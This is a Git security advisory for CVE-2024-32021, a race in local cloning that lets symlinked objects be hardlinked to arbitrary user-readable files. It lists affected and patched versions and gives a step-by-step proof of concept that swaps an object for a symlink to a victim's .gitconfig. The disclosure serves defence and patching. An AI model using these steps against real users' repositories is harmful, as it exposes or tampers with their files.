Skip to content

Local clone may hardlink arbitrary user-readable files into the new repository's "objects/" directory

Low
dscho published GHSA-mvxm-9j2h-qjx7 May 14, 2024

Package

git

Affected versions

v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3

Patched versions

v2.45.1 v2.44.1 v2.43.4 v2.42.2 v2.41.1 v2.40.2 v2.39.4

Description

Summary

When cloning a local source repository that contains symlinks via the
filesystem, Git may create hardlinks to arbitrary user-readable files on the
same filesystem as the target repository in the objects/ directory.

Details

Cloning a local repository over the filesystem may create hardlinks to
arbitrary user-owned files on the same filesystem in the target Git
repository's objects/ directory.

When cloning a repository over the filesystem (without explicitly specifying
the file:// protocol or --no-local), the optimizations for local cloning
will be used, which include attempting to hard link the object files instead of
copying them.

While the code includes checks against symbolic links in the source repository,
which were added during the fix for CVE-2022-39253, these checks can still be
raced because the hard link operation ultimately follows symlinks. If the
object on the filesystem appears as a file during the check, and then a symlink
during the operation, this will allow the adversary to bypass the check and
create hardlinks in the destination objects directory to arbitrary,
user-readable files.

PoC

Since the code will stop attempting to create hard links after the first
failure, it is easiest to repro against a repository with just a single object.

  1. Create a repository with an object:
```
mkdir simplerepo
cd simplerepo
git init
echo 'bla' | git hash-object -w --stdin
cd ..
git clone simplerepo --bare
```
  1. Debug the cloning of that repository over an NFS mount, and break
    on link:
```
% lldb -- $GITBINARY clone /tmp/mount/simplerepo.git cloned
(lldb) b --one-shot true --name link
(lldb) r
...
(lldb) p (char*)$x0
(char *) 0x00006000034c0180 "/private/tmp/mount/simplerepo.git/objects/a7/f8d9e5dcf
(lldb) p (char*)$x1
(char *) 0x00006000034c0100 "cloned/.git/objects/a7/f8d9e5dcf3a68fdd2bfb727cde12029
```
  1. From the NFS server, replace the file in the source repository with
    a symbolic link to any of the victim's files on the same mount
    point they are cloning to:
```
% rm -f objects/a7/f8d9e5dcf3a68fdd2bfb727cde12029875260b
% ln -s /Users/certl/.gitconfig objects/a7/f8d9e5dcf3a68fdd2bfb727cde12029875260b
```
  1. Continue the clone, observing afterwards as the victim that the
    .git/objects/a7/f8d9e5dcf3a68fdd2bfb727cde12029875260b file is a
    hard link to the location as specified in the symlink created by
    the attacker in the previous step:
```
(lldb) c
(lldb) q
% ls -i cloned/.git/objects/a7/f8d9e5dcf3a68fdd2bfb727cde12029875260b
31241553 cloned/.git/objects/a7/f8d9e5dcf3a68fdd2bfb727cde12029875260b
% ls -i /Users/certl/.gitconfig
31241553 /Users/certl/.gitconfig
```

Impact

An adversary can cause the user to hardlink arbitrary files into their
repository's objects/ directory.

This issue has originally been reported by Apple Security Engineering and Architecture (SEAR).

Severity

Low
3.9
/ 10

CVSS base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:L

CVE ID

CVE-2024-32021

Weaknesses

No CWEs

Credits